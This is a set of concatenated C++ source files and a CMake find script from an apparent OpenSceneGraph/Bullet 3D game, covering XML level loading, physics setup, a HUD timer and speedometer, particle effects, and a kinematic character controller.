cameraManipulator->setTrackNode(Player::getInstance()); cameraManipulator->setHomePosition(LEVEL_CAMERA_HOME_EYE, LEVEL_CAMERA_HOME_CENTER, LEVEL_CAMERA_HOME_UP); // player must be updated after physic is updated Player::getInstance()->setUpdateCallback(new PlayerUpdater()); // set _cameraManipulator as manipulator for the scene viewer.setCameraManipulator(cameraManipulator); LevelUpdater *stepCallback = new LevelUpdater(this); setUpdateCallback(stepCallback); // player keyboard control _keyboardHandler = new LevelKeyboardHandler(); viewer.addEventHandler(_keyboardHandler); initializeLighting(); Sound::getInstance()->stop(MENU_MUSIC_FILE); Sound::getInstance()->playInLoop(LEVEL_MUSIC_FILE); } void Level::playerDied() { Player::getInstance()->getPlayerState()->setSpeed(0.0f); Player::getInstance()->resetPosition(); ((LazyCameraManipulator *)viewer.getCameraManipulator())->resetCamera(); _headUpDisplay->resetTimer(); _numDeaths++; } void Level::initializeLighting() { // add Light for player shadow osg::Light *light = new osg::Light(); light->setLightNum(5); osg::LightSource *lightSource = new osg::LightSource; lightSource->setLight(light); osg::StateSet *stateset = new osg::StateSet; lightSource->setStateSetModes(*stateset, osg::StateAttribute::ON); light->setPosition(osg::Vec4(osg::Vec3(0.0, 10.0, 1000.0),1.0)); light->setDiffuse(osg::Vec4(1.0,0.0,0.0,1.0)); light->setAmbient(osg::Vec4(1.0,1.0,1.0,1.0)); Player::getInstance()->addChild(lightSource); } void Level::loadMapFromFile(const std::string &mapfile) { // load XML document rapidxml::file<> mf(mapfile.c_str()); rapidxml::xml_document<> xml_doc; xml_doc.parse<0>(mf.data()); // parse XML document for(rapidxml::node_iterator<char> it(xml_doc.first_node()); it.dereference() != NULL; ++it) { CollisionObject *collisionObject = 0; if(strcmp(it->name(), "cuboid") == 0) { osg::Vec3 from = getVectorFromXMLNode("position", *it); osg::Vec3 size = getVectorFromXMLNode("size", *it); if(it->first_attribute("type") == 0) collisionObject = new DefaultCuboid(from, size); else if(std::string(it->first_attribute("type")->value()) == "accelerate") collisionObject = new AccelerationCuboid(from, size); else if(std::string(it->first_attribute("type")->value()) == "decelerate") collisionObject = new DecelerationCuboid(from, size); else collisionObject = new DefaultCuboid(from, size); int yBucketIndex = (int)((from.y() + size.y()) / 20.0f); while((int)_deadlyAltitudes.size() <= yBucketIndex) _deadlyAltitudes.push_back(from.z()); // if current cuboid is lower then z -> adjust bucket value if(from.z() < _deadlyAltitudes[yBucketIndex]) _deadlyAltitudes[yBucketIndex] = from.z(); _shadowedScene->addChild(collisionObject); } else if(strcmp(it->name(), "tunnel") == 0) { collisionObject = new Tunnel(getVectorFromXMLNode("position", *it), atof(it->first_attribute("length")->value())); _shadowedScene->addChild(((CollisionModel *)collisionObject)->getNode()); } else if(strcmp(it->name(), "cuboidtunnel") == 0) { collisionObject = new CuboidTunnel(getVectorFromXMLNode("position", *it), atof(it->first_attribute("length")->value())); _shadowedScene->addChild(((CollisionModel *)collisionObject)->getNode()); } else if(strcmp(it->name(), "finish") == 0) { osg::Vec3 position = getVectorFromXMLNode("position", *it); collisionObject = new Finish(position); _finishs.push_back(position); _shadowedScene->addChild(((CollisionModel *)collisionObject)->getNode()); } else throw std::runtime_error("Error: Unknown element \'" + std::string(it->name()) + "\' in level file!"); if(collisionObject != 0 && strcmp(it->name(), "finish") != 0) _physicsWorld->addRigidBody(collisionObject->getRigidBody()); } } void Level::initializePhysicsWorld() { btDefaultCollisionConfiguration *collisionConfiguration; btCollisionDispatcher *dispatcher; btBroadphaseInterface *overlappingPairCache; btConstraintSolver *constraintSolver; // create CollisionConfiguration collisionConfiguration = new btDefaultCollisionConfiguration(); dispatcher = new btCollisionDispatcher(collisionConfiguration); // define world extents btVector3 worldMin(PHYSICS_WORLD_MIN); btVector3 worldMax(PHYSICS_WORLD_MAX); // setup overlapping pair cache btAxisSweep3 *sweepBP = new btAxisSweep3(worldMin, worldMax); sweepBP->getOverlappingPairCache()->setInternalGhostPairCallback(new btGhostPairCallback()); overlappingPairCache = sweepBP; // create default constraint solver constraintSolver = new btSequentialImpulseConstraintSolver(); // initialize world _physicsWorld = new btDiscreteDynamicsWorld(dispatcher, overlappingPairCache, constraintSolver, collisionConfiguration); // set the worlds gravity _physicsWorld->setGravity(PHYSICS_WORLD_GRAVITY); } void Level::resetScene() { if(!_physicsWorld) return; btCollisionObjectArray collisionObjects = _physicsWorld->getCollisionObjectArray(); size_t collisionObjectCount = _physicsWorld->getNumCollisionObjects(); for(size_t i = 0; i < collisionObjectCount; ++i) { btCollisionObject *collisionObject = collisionObjects[i]; btRigidBody* body = btRigidBody::upcast(collisionObject); if(!body) continue; if(body->getMotionState()) { btDefaultMotionState* motionState = (btDefaultMotionState*)body->getMotionState(); motionState->m_graphicsWorldTrans = motionState->m_startWorldTrans; body->setCenterOfMassTransform(motionState->m_graphicsWorldTrans); collisionObject->setInterpolationWorldTransform(motionState->m_startWorldTrans); collisionObject->forceActivationState(ACTIVE_TAG); collisionObject->activate(); collisionObject->setDeactivationTime(0); } if (body && !body->isStaticObject()) { btRigidBody::upcast(collisionObject)->setLinearVelocity(btVector3(0,0,0)); btRigidBody::upcast(collisionObject)->setAngularVelocity(btVector3(0,0,0)); } } _physicsWorld->getBroadphase()->resetPool(_physicsWorld->getDispatcher()); _physicsWorld->getConstraintSolver()->reset(); delete _physicsWorld; } osg::Vec3 Level::getVectorFromXMLNode(const std::string &name, const rapidxml::xml_node<> &node) const { rapidxml::xml_node<> *vectorNode = node.first_node(name.c_str()); if(!vectorNode) { throw std::runtime_error("Error: Level element missing vector node!"); } float x, y, z; try { x = atof(vectorNode->first_attribute("x")->value()); y = atof(vectorNode->first_attribute("y")->value()); z = atof(vectorNode->first_attribute("z")->value()); } catch(...) { throw std::runtime_error("Error: " + name + " node missing either x, y or z attribute!"); } return osg::Vec3(x, y, z); } time_t Level::getTime() { return _headUpDisplay->getFinalTime(); } HeadUpDisplay *Level::getHeadUpDisplay() const { return _headUpDisplay; } size_t Level::getNumDeaths() const { return _numDeaths; } ////////////// World updater for stepping ////////////// LevelUpdater::LevelUpdater(Level *level) : _level(level), _previousStepTime(viewer.getFrameStamp()->getSimulationTime()) { _blendColor = new osg::BlendColor(osg::Vec4(1, 1, 1, 1)); /* _level->getShadowedScene()->getOrCreateStateSet()->setAttributeAndModes(_blendColor, osg::StateAttribute::ON); _level->getShadowedScene()->getOrCreateStateSet()->setMode(GL_ALPHA_TEST, osg::StateAttribute::ON); _level->getShadowedScene()->getOrCreateStateSet()->setMode(GL_BLEND, osg::StateAttribute::ON); _level->getShadowedScene()->getOrCreateStateSet()->setRenderingHint(osg::StateSet::TRANSPARENT_BIN); */ } void LevelUpdater::operator()(osg::Node *node, osg::NodeVisitor *nv) { double currentStepTime = viewer.getFrameStamp()->getSimulationTime(); // compensate error arising from the osg::Viewer resetting its SimulationTime if(currentStepTime - _previousStepTime < 0.0f) { Player::getInstance()->resetPosition(); ((LazyCameraManipulator *)viewer.getCameraManipulator())->resetCamera(); _previousStepTime = currentStepTime - 0.5; } int numSimulationSubSteps = _level->getPhysicsWorld()->stepSimulation(currentStepTime - _previousStepTime, (int)((currentStepTime - _previousStepTime) * 60.0f) + 1); ((LazyCameraManipulator *)viewer.getCameraManipulator())->setNumSimulationSubSteps(numSimulationSubSteps); _previousStepTime = currentStepTime; // player dies when falling too low { btVector3 position = Player::getInstance()->getController()->getGhostObject()->getWorldTransform().getOrigin(); int yBucketIndex = (int)(position.y() / 20.0f); if(yBucketIndex >= _level->getDeadlyAltitudes().size()) yBucketIndex = _level->getDeadlyAltitudes().size() - 1; float minimum = min(_level->getDeadlyAltitudes()[yBucketIndex], (_level->getDeadlyAltitudes())[yBucketIndex + 1]); if(position.z() < (minimum - 5.0f)) _level->playerDied(); } // fade out when level is finished osg::Vec4 constantBlendColor = _blendColor->getConstantColor(); float alpha = constantBlendColor.a(); // player reached finish { osg::Vec3 position = Player::getInstance()->getPosition(); std::vector<osg::Vec3> finishs = _level->getFinishs(); for(size_t i = 0; i < finishs.size(); i++) { float maxDistance = 1.0f; osg::Vec3 diff = position - finishs[i]; if(diff.x() < maxDistance && diff.x() > -maxDistance && diff.y() < maxDistance * 3.0f && diff.y() > -maxDistance && diff.z() < maxDistance && diff.z() > -maxDistance) { if(alpha == 1.0f) { alpha -= 0.01f; _level->getHeadUpDisplay()->stopTimer(); viewer.getEventHandlers().remove(_level->getKeyboardHandler()); ((LazyCameraManipulator *)viewer.getCameraManipulator())->fadeOut(); Player::getInstance()->getPlayerState()->setRequestAccelerate(false); Player::getInstance()->getPlayerState()->setRequestDecelerate(true); } } } if(alpha < 1.0f) { alpha -= 0.01f; if(alpha <= 0.0f) { alpha = 0.0f; _level->setReachedFinish(true); } constantBlendColor[3] = alpha; _blendColor->setConstantColor(constantBlendColor); } } traverse(node, nv); } <file_sep>#pragma once #include <osgGA/GUIEventHandler> #include "types.h" #include "LevelMenu.h" class MenuKeyboardHandler : public osgGA::GUIEventHandler { private: LevelMenu *_levelMenu; public: MenuKeyboardHandler(LevelMenu *levelMenu); virtual bool handle(const osgGA::GUIEventAdapter &ea, osgGA::GUIActionAdapter &aa); virtual void accept(osgGA::GUIEventHandlerVisitor &v); };<file_sep># Custom osgBullet find script written by Stefan # # Locate osgBullet. # # This script defines: # OSGWBULLET_FOUND, set to 1 if found # OSGWBULLET_LIBRARIES # OSGBULLET_INCLUDE_DIR # # This script will look in standard locations for installed osgBullet. However, if you # install osgBullet into a non-standard location, you can use the OSGBULLET_ROOT # variable (in environment or CMake) to specify the location. # # You can also use osgBullet out of a source tree by specifying OSGBULLET_SOURCE_DIR # and OSGBULLET_BUILD_DIR (in environment or CMake). SET( OSGBULLET_BUILD_DIR "" CACHE PATH "If using osgBUllet out of a source tree, specify the build directory." ) SET( OSGBULLET_SOURCE_DIR "" CACHE PATH "If using osgBullet out of a source tree, specify the root of the source tree." ) SET( OSGBULLET_ROOT "" CACHE PATH "Specify non-standard osgBullet install directory. It is the parent of the include and lib dirs." ) MACRO( FIND_OSGBULLET_INCLUDE THIS_OSGBULLET_INCLUDE_DIR THIS_OSGBULLET_INCLUDE_FILE ) UNSET( ${THIS_OSGBULLET_INCLUDE_DIR} CACHE ) MARK_AS_ADVANCED( ${THIS_OSGBULLET_INCLUDE_DIR} ) FIND_PATH( ${THIS_OSGBULLET_INCLUDE_DIR} ${THIS_OSGBULLET_INCLUDE_FILE} PATHS ${OSGBULLET_ROOT} $ENV{OSGBULLET_ROOT} ${OSGBULLET_SOURCE_DIR} $ENV{OSGBULLET_SOURCE_DIR} /usr/local /usr /sw/ # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt "C:/Program Files/osgBullet" "C:/Program Files (x86)/osgBullet" ~/Library/Frameworks /Library/Frameworks PATH_SUFFIXES include . ) ENDMACRO( FIND_OSGBULLET_INCLUDE THIS_OSGBULLET_INCLUDE_DIR THIS_OSGBULLET_INCLUDE_FILE ) FIND_OSGBULLET_INCLUDE( OSGBULLET_INCLUDE_DIR osgbBullet/MotionState.h ) # message( STATUS ${OSGWBULLET_INCLUDE_DIR} ) MACRO( FIND_OSGBULLET_LIBRARY MYLIBRARY MYLIBRARYNAME ) UNSET( ${MYLIBRARY} CACHE ) UNSET( ${MYLIBRARY}_debug CACHE ) MARK_AS_ADVANCED( ${MYLIBRARY} ) MARK_AS_ADVANCED( ${MYLIBRARY}_debug ) FIND_LIBRARY( ${MYLIBRARY} NAMES ${MYLIBRARYNAME} PATHS ${OSGBULLET_ROOT} $ENV{OSGBULLET_ROOT} ${OSGBULLET_BUILD_DIR} $ENV{OSGBULLET_BUILD_DIR} ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt "C:/Program Files/osgBullet" "C:/Program Files (x86)/osgBullet" /usr/freeware/lib64 PATH_SUFFIXES lib bin . ) FIND_LIBRARY( ${MYLIBRARY}_debug NAMES ${MYLIBRARYNAME}d PATHS ${OSGBULLET_ROOT} $ENV{OSGBULLET_ROOT} ${OSGBULLET_BUILD_DIR} $ENV{OSGBULLET_BUILD_DIR} ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt "C:/Program Files/osgBullet" "C:/Program Files (x86)/osgBullet" /usr/freeware/lib64 PATH_SUFFIXES lib bin . ) # message( STATUS ${${MYLIBRARY}} ${${MYLIBRARY}_debug} ) # message( STATUS ${MYLIBRARYNAME} ) IF( ${MYLIBRARY} ) SET( OSGBULLET_LIBRARIES ${OSGBULLET_LIBRARIES} "optimized" ${${MYLIBRARY}} ) ENDIF( ${MYLIBRARY} ) IF( ${MYLIBRARY}_debug ) SET( OSGBULLET_LIBRARIES ${OSGBULLET_LIBRARIES} "debug" ${${MYLIBRARY}_debug} ) ENDIF( ${MYLIBRARY}_debug ) ENDMACRO(FIND_OSGBULLET_LIBRARY LIBRARY LIBRARYNAME) FIND_OSGBULLET_LIBRARY( OSGBULLET_LIBRARY osgbBullet ) SET( OSGBULLET_FOUND 0 ) IF( OSGBULLET_LIBRARIES AND OSGBULLET_INCLUDE_DIR ) SET( OSGBULLET_FOUND 1 ) ENDIF( OSGBULLET_LIBRARIES AND OSGBULLET_INCLUDE_DIR ) <file_sep>#pragma once #include <osg/Group> #include <osg/Geode> #include <osg/PositionAttitudeTransform> #include <osgParticle/Particle> #include <osgParticle/ParticleSystem> #include <osgParticle/ParticleSystemUpdater> #include <osgParticle/ModularEmitter> #include <osgParticle/ModularProgram> #include <osgParticle/RandomRateCounter> #include <osgParticle/SectorPlacer> #include <osgParticle/RadialShooter> #include <osgParticle/AccelOperator> #include <osgParticle/FluidFrictionOperator> class ParticleEffect : public osg::PositionAttitudeTransform { private: osg::Group *_effectRoot; osgParticle::ParticleSystem *_particleSystem; osgParticle::ParticleSystemUpdater *_updater; osgParticle::Particle _templateParticle; osgParticle::ModularEmitter *_emitter; osgParticle::RandomRateCounter *_counter; osgParticle::Placer *_placer; osgParticle::Shooter *_shooter; osgParticle::ModularProgram *_program; void configureTemplateParticle(osgParticle::Particle *particleTemplate = NULL); void configurePlacer(osgParticle::Placer *placer = NULL); void configureShooter(osgParticle::Shooter *shooter = NULL); public: ParticleEffect(osgParticle::Particle *particleTemplate = NULL, osgParticle::Placer *placer = NULL, osgParticle::Shooter *shooter = NULL); osg::Group *getEffectRoot(); void setRate(const double rate); void setColor(const osg::Vec4 &color); void setSize(const float size); void enable(); void disable(); void clearParticles(); }; class ParticleEffectFactory { private: osg::Geode *_geode; public: ParticleEffectFactory(osg::Group *rootNode); static ParticleEffect *createRearEngineEffect(); static ParticleEffect *createSteerEngineEffect(); };<file_sep>#include "HeadUpDisplay.h" #include <sstream> extern osgViewer::Viewer viewer; HeadUpDisplay::HeadUpDisplay() : _isTiming(true) { _hudPat = new osg::PositionAttitudeTransform(); _hudPat->getOrCreateStateSet()->setMode(GL_LIGHTING, osg::StateAttribute::OFF); _hudPat->setUserData(this); _hudPat->setUpdateCallback(new HeadUpDisplayUpdateCallback); initializeCamera(); initializeTimer(); initializeSpeedometer(); } void HeadUpDisplay::initializeCamera() { _camera = new osg::Camera(); _camera->setProjectionMatrix(osg::Matrix::ortho2D(0, viewer.getCamera()->getViewport()->width(), 0, viewer.getCamera()->getViewport()->height())); _camera->setReferenceFrame(osg::Transform::ABSOLUTE_RF); _camera->setViewMatrix(osg::Matrix::identity()); _camera->setClearMask(GL_DEPTH_BUFFER_BIT); _camera->setRenderOrder(osg::Camera::POST_RENDER); _camera->addChild(_hudPat); } osg::Camera *HeadUpDisplay::getCamera() { return _camera; } void HeadUpDisplay::initializeSpeedometer() { _speedPat = new osg::PositionAttitudeTransform(); _hudPat->addChild(_speedPat); _speedBarMatrixTrans = new osg::MatrixTransform; _speedPat->addChild(_speedBarMatrixTrans); osg::Node *_speedBarNode = osgDB::readNodeFile(SPEEDBAR_MODEL); if(!_speedBarNode) throw std::runtime_error("Unable to load speedbar model file!"); osg::Node *_speedBarBackgroundNode = osgDB::readNodeFile(SPEEDBG_MODEL); if(!_speedBarNode) throw std::runtime_error("Unable to load speedbar background model file!"); osg::StateSet *speedBarBackgroundState = new osg::StateSet(); osg::Material *material = new osg::Material(); material->setAlpha(osg::Material::FRONT_AND_BACK, HUD_TRANSPARENCY); speedBarBackgroundState->setAttributeAndModes(material, osg::StateAttribute::ON); osg::BlendFunc *blendfunc = new osg::BlendFunc(osg::BlendFunc::SRC_ALPHA, osg::BlendFunc::ONE_MINUS_SRC_ALPHA ); speedBarBackgroundState->setAttributeAndModes(blendfunc); osg::Texture2D *texture = new osg::Texture2D; osg::Image *image = osgDB::readImageFile(HUD_TEXTURE); texture->setImage(image); speedBarBackgroundState->setTextureAttributeAndModes(0, texture, osg::StateAttribute::ON); _speedBarBackgroundNode->setStateSet(speedBarBackgroundState); int speedBarSize = viewer.getCamera()->getViewport()->height() / 12.0f; _speedBarBackgroundPat = new osg::PositionAttitudeTransform(); _speedBarBackgroundPat->addChild(_speedBarBackgroundNode); _speedBarBackgroundPat->setScale(osg::Vec3d(speedBarSize, 10.0, speedBarSize)); _speedBarBackgroundPat->setAttitude(osg::Quat(osg::DegreesToRadians(270.0f), osg::Vec3(1.0f, 0.0f , 0.0f))); _speedPat->addChild(_speedBarBackgroundPat); _speedBarPat = new osg::PositionAttitudeTransform(); _speedBarPat->addChild(_speedBarNode); _speedBarPat->setScale(osg::Vec3d(speedBarSize / 5.0f, speedBarSize / 6.0f, speedBarSize / 5.0f)); _speedBarPat->setAttitude(osg::Quat(osg::DegreesToRadians(90.0f), osg::Vec3(0.0f, 1.0f , 0.0f))); _speedBarMatrixTrans->addChild(_speedBarPat); _speedPat->setPosition(osg::Vec3(speedBarSize * 2 + 20, speedBarSize * 2 + 20 , 0)); } void HeadUpDisplay::initializeTimer() { resetTimer(); _timeNode = new osg::Geode(); _timer = new osgText::Text(); _timer->setFont(TIMER_FONT); int timerSize = viewer.getCamera()->getViewport()->height() / 25; _timer->setCharacterSize(timerSize); // place timer on top right _timer->setPosition(osg::Vec3(viewer.getCamera()->getViewport()->width() - timerSize * 6, viewer.getCamera()->getViewport()->height() - timerSize - 20, 0)); _timeNode->addDrawable(_timer); _hudPat->addChild(_timeNode); } void HeadUpDisplay::updateSpeedometer() { float playerSpeed = Player::getInstance()->getPlayerState()->getSpeed(); _speedBarMatrixTrans->setMatrix(osg::Matrix::rotate(osg::inDegrees(-(playerSpeed*270) -135), 0.0f, 0.0f, 1.0f)); } void HeadUpDisplay::updateTimer() { time_t _timePassed; if(_isTiming) _timePassed = getTime(); else _timePassed = getFinalTime(); // extract miliseconds, seconds and minutes time_t ms = _timePassed % 100; time_t s = (_timePassed / 100) % 60; time_t m = (_timePassed / 100 / 60) % 60; // construct time string std::stringstream ss; ss << (m < 10 ? "0" : "") << m << ":" << (s < 10 ? "0" : "") << s << ":" << (ms < 10 ? "0" : "") << ms; _timer->setText(ss.str()); } time_t HeadUpDisplay::getTime() { struct timeb currentTime; // get current time ftime(&currentTime); // calculate offset from start time time_t _timePassed = (((currentTime.time - _startTime.time) * 1000) + (currentTime.millitm - _startTime.millitm)) / 10; return _timePassed; } void HeadUpDisplay::startTimer() { _isTiming = true; resetTimer(); } void HeadUpDisplay::stopTimer() { _isTiming = false; _finalTime = getTime(); } void HeadUpDisplay::resetTimer() { ftime(&_startTime); } void HeadUpDisplayUpdateCallback::operator()(osg::Node *node, osg::NodeVisitor *nv) { osg::ref_ptr<HeadUpDisplay> hud = dynamic_cast<HeadUpDisplay *> (node->getUserData()); hud->updateSpeedometer(); hud->updateTimer(); }<file_sep>#include <LinearMath/btIDebugDraw.h> #include <BulletCollision/CollisionDispatch/btGhostObject.h> #include <BulletCollision/CollisionShapes/btMultiSphereShape.h> #include <BulletCollision/BroadphaseCollision/btOverlappingPairCache.h> #include <BulletCollision/BroadphaseCollision/btCollisionAlgorithm.h> #include <BulletCollision/CollisionDispatch/btCollisionWorld.h> #include <LinearMath/btDefaultMotionState.h> #include "KinematicCharacterController.h" static btVector3 upAxisDirection[3] = { btVector3(1.0f, 0.0f, 0.0f), btVector3(0.0f, 1.0f, 0.0f), btVector3(0.0f, 0.0f, 1.0f) }; // static helper method static btVector3 getNormalizedVector(const btVector3& v) { btVector3 n = v.normalized(); if (n.length() < SIMD_EPSILON) { n.setValue(0, 0, 0); } return n; } class KinematicClosestNotMeConvexResultCallback : public btCollisionWorld::ClosestConvexResultCallback { public: KinematicClosestNotMeConvexResultCallback (btCollisionObject* me) : btCollisionWorld::ClosestConvexResultCallback(btVector3(0.0, 0.0, 0.0), btVector3(0.0, 0.0, 0.0)) { m_me = me; } virtual btScalar addSingleResult(btCollisionWorld::LocalConvexResult& convexResult,bool normalInWorldSpace) { if (convexResult.m_hitCollisionObject == m_me) return 1.0; return ClosestConvexResultCallback::addSingleResult (convexResult, normalInWorldSpace); } protected: btCollisionObject* m_me; }; /* * Returns the reflection direction of a ray going 'direction' hitting a surface with normal 'normal' * * from: http://www-cs-students.stanford.edu/~adityagp/final/node3.html */ btVector3 KinematicCharacterController::computeReflectionDirection (const btVector3& direction, const btVector3& normal) { return direction - (btScalar(2.0) * direction.dot(normal)) * normal; } /* * Returns the portion of 'direction' that is parallel to 'normal' */ btVector3 KinematicCharacterController::parallelComponent (const btVector3& direction, const btVector3& normal) { btScalar magnitude = direction.dot(normal); return normal * magnitude; } /* * Returns the portion of 'direction' that is perpindicular to 'normal' */ btVector3 KinematicCharacterController::perpindicularComponent (const btVector3& direction, const btVector3& normal) { return direction - parallelComponent(direction, normal); } KinematicCharacterController::KinematicCharacterController(btPairCachingGhostObject* ghostObject,btConvexShape* convexShape,btScalar stepHeight, int upAxis) { m_upAxis = upAxis; m_addedMargin = 0.02f; m_walkDirection.setValue(0,0,0); m_useGhostObjectSweepTest = true; m_ghostObject = ghostObject; m_stepHeight = stepHeight; m_turnAngle = btScalar(0.0); m_convexShape=convexShape; m_useWalkDirection = true; // use walk direction by default, legacy behavior m_velocityTimeInterval = 0.0; m_forwardHit = false; reset(); } KinematicCharacterController::~KinematicCharacterController () { } btPairCachingGhostObject* KinematicCharacterController::getGhostObject() { return m_ghostObject; } bool KinematicCharacterController::recoverFromPenetration ( btCollisionWorld* collisionWorld) { bool penetration = false; collisionWorld->getDispatcher()->dispatchAllCollisionPairs(m_ghostObject->getOverlappingPairCache(), collisionWorld->getDispatchInfo(), collisionWorld->getDispatcher()); m_currentPosition = m_ghostObject->getWorldTransform().getOrigin(); btScalar maxPen = btScalar(0.0); for (int i = 0; i < m_ghostObject->getOverlappingPairCache()->getNumOverlappingPairs(); i++) { m_manifoldArray.resize(0); btBroadphasePair* collisionPair = &m_ghostObject->getOverlappingPairCache()->getOverlappingPairArray()[i]; if (collisionPair->m_algorithm) collisionPair->m_algorithm->getAllContactManifolds(m_manifoldArray); for (int j=0;j<m_manifoldArray.size();j++) { btPersistentManifold* manifold = m_manifoldArray[j]; btScalar directionSign = manifold->getBody0() == m_ghostObject ? btScalar(-1.0) : btScalar(1.0); for (int p=0;p<manifold->getNumContacts();p++) { const btManifoldPoint&pt = manifold->getContactPoint(p); if (pt.getDistance() < 0.0) { if (pt.getDistance() < maxPen) { maxPen = pt.getDistance(); m_touchingNormal = pt.m_normalWorldOnB * directionSign;//?? } m_currentPosition += pt.m_normalWorldOnB * directionSign * pt.getDistance() * btScalar(0.2); penetration = true; } else { //printf("touching %f\n", pt.getDistance()); } } //manifold->clearManifold(); } } btTransform newTrans = m_ghostObject->getWorldTransform(); newTrans.setOrigin(m_currentPosition); m_ghostObject->setWorldTransform(newTrans); // printf("m_touchingNormal = %f,%f,%f\n",m_touchingNormal[0],m_touchingNormal[1],m_touchingNormal[2]); return penetration; } void KinematicCharacterController::stepUp ( btCollisionWorld* world) { // phase 1: up btTransform start, end; m_targetPosition = m_currentPosition + upAxisDirection[m_upAxis] * m_stepHeight; start.setIdentity (); end.setIdentity (); /* FIXME: Handle penetration properly */ start.setOrigin (m_currentPosition + upAxisDirection[m_upAxis] * btScalar(0.1f)); end.setOrigin (m_targetPosition); KinematicClosestNotMeConvexResultCallback callback (m_ghostObject); callback.m_collisionFilterGroup = getGhostObject()->getBroadphaseHandle()->m_collisionFilterGroup; callback.m_collisionFilterMask = getGhostObject()->getBroadphaseHandle()->m_collisionFilterMask; if (m_useGhostObjectSweepTest) { m_ghostObject->convexSweepTest (m_convexShape, start, end, callback, world->getDispatchInfo().m_allowedCcdPenetration); } else { world->convexSweepTest (m_convexShape, start, end, callback); } if (callback.hasHit()) { // we moved up only a fraction of the step height m_currentStepOffset = m_stepHeight * callback.m_closestHitFraction; m_currentPosition.setInterpolate3 (m_currentPosition, m_targetPosition, callback.m_closestHitFraction); } else { m_currentStepOffset = m_stepHeight; m_currentPosition = m_targetPosition; } } void KinematicCharacterController::updateTargetPositionBasedOnCollision (const btVector3& hitNormal, btScalar tangentMag, btScalar normalMag) { btVector3 movementDirection = m_targetPosition - m_currentPosition; btScalar movementLength = movementDirection.length(); if (movementLength>SIMD_EPSILON) { movementDirection.normalize(); btVector3 reflectDir = computeReflectionDirection (movementDirection, hitNormal); reflectDir.normalize(); btVector3 parallelDir, perpindicularDir; parallelDir = parallelComponent (reflectDir, hitNormal); perpindicularDir = perpindicularComponent (reflectDir, hitNormal); m_targetPosition = m_currentPosition; if (0)//tangentMag != 0.0) { btVector3 parComponent = parallelDir * btScalar (tangentMag*movementLength); // printf("parComponent=%f,%f,%f\n",parComponent[0],parComponent[1],parComponent[2]); m_targetPosition += parComponent; } if (normalMag != 0.0) { btVector3 perpComponent = perpindicularDir * btScalar (normalMag*movementLength); // printf("perpComponent=%f,%f,%f\n",perpComponent[0],perpComponent[1],perpComponent[2]); m_targetPosition += perpComponent; } } else { // printf("movementLength don't normalize a zero vector\n"); } } void KinematicCharacterController::stepForwardAndStrafe ( btCollisionWorld* collisionWorld, const btVector3& walkMove) { btTransform start, end; m_targetPosition = m_currentPosition + walkMove; start.setIdentity (); end.setIdentity (); btScalar fraction = 1.0; btScalar distance2 = (m_currentPosition-m_targetPosition).length2(); // printf("distance2=%f\n",distance2); if (m_touchingContact) { if (m_normalizedDirection.dot(m_touchingNormal) > btScalar(0.0)) updateTargetPositionBasedOnCollision (m_touchingNormal); } int maxIter = 10; while (fraction > btScalar(0.01) && maxIter-- > 0) { start.setOrigin (m_currentPosition); end.setOrigin (m_targetPosition); KinematicClosestNotMeConvexResultCallback callback (m_ghostObject); callback.m_collisionFilterGroup = getGhostObject()->getBroadphaseHandle()->m_collisionFilterGroup; callback.m_collisionFilterMask = getGhostObject()->getBroadphaseHandle()->m_collisionFilterMask; btScalar margin = m_convexShape->getMargin(); m_convexShape->setMargin(margin + m_addedMargin); if (m_useGhostObjectSweepTest) { m_ghostObject->convexSweepTest (m_convexShape, start, end, callback, collisionWorld->getDispatchInfo().m_allowedCcdPenetration); } else { collisionWorld->convexSweepTest (m_convexShape, start, end, callback, collisionWorld->getDispatchInfo().m_allowedCcdPenetration); } m_convexShape->setMargin(margin); fraction -= callback.m_closestHitFraction; if (callback.hasHit()) { m_forwardHit = true; // we moved only a fraction btScalar hitDistance = (callback.m_hitPointWorld - m_currentPosition).length(); if (hitDistance<0.f) { // printf("neg dist?\n"); } /* If the distance is farther than the collision margin, move */ if (hitDistance > m_addedMargin) { // printf("callback.m_closestHitFraction=%f\n",callback.m_closestHitFraction); m_currentPosition.setInterpolate3 (m_currentPosition, m_targetPosition, callback.m_closestHitFraction); } updateTargetPositionBasedOnCollision (callback.m_hitNormalWorld); btVector3 currentDir = m_targetPosition - m_currentPosition; distance2 = currentDir.length2(); if (distance2 > SIMD_EPSILON) { currentDir.normalize(); /* See Quake2: "If velocity is against original velocity, stop ead to avoid tiny oscilations in sloping corners." */ if (currentDir.dot(m_normalizedDirection) <= btScalar(0.0)) { break; } } else { // printf("currentDir: don't normalize a zero vector\n"); break; } } else { // we moved whole way m_currentPosition = m_targetPosition; } // if (callback.m_closestHitFraction == 0.f) // break; } } void KinematicCharacterController::stepDown ( btCollisionWorld* collisionWorld, btScalar dt) { btTransform start, end; btScalar gravity; btDynamicsWorld *dynamicsWorld = dynamic_cast<btDynamicsWorld *>(collisionWorld); if(dynamicsWorld) gravity = dynamicsWorld->getGravity().getZ(); else gravity = -10.0f; m_targetPosition -= upAxisDirection[m_upAxis] * (m_currentStepOffset - m_fallSpeed * dt); start.setIdentity (); end.setIdentity (); start.setOrigin (m_currentPosition); end.setOrigin (m_targetPosition); KinematicClosestNotMeConvexResultCallback callback (m_ghostObject); callback.m_collisionFilterGroup = getGhostObject()->getBroadphaseHandle()->m_collisionFilterGroup; callback.m_collisionFilterMask = getGhostObject()->getBroadphaseHandle()->m_collisionFilterMask; if (m_useGhostObjectSweepTest) { m_ghostObject->convexSweepTest (m_convexShape, start, end, callback, collisionWorld->getDispatchInfo().m_allowedCcdPenetration); } else { collisionWorld->convexSweepTest (m_convexShape, start, end, callback, collisionWorld->getDispatchInfo().m_allowedCcdPenetration); } if (callback.hasHit()) { m_groundObject = callback.m_hitCollisionObject->getUserPointer(); // we dropped a fraction of the height -> hit floor m_currentPosition.setInterpolate3(m_currentPosition, m_targetPosition, callback.m_closestHitFraction); m_onGround = true; m_fallSpeed = 0.0f; } else { // we dropped the full height m_groundObject = NULL; m_currentPosition = m_targetPosition; m_onGround = false; m_fallSpeed += gravity * dt; } } void KinematicCharacterController::setWalkDirection ( const btVector3& walkDirection ) { m_useWalkDirection = true; m_walkDirection = walkDirection; m_normalizedDirection = getNormalizedVector(m_walkDirection); } void KinematicCharacterController::setVelocityForTimeInterval ( const btVector3& velocity, btScalar timeInterval ) { m_useWalkDirection = false; m_walkDirection = velocity; m_normalizedDirection = getNormalizedVector(m_walkDirection); 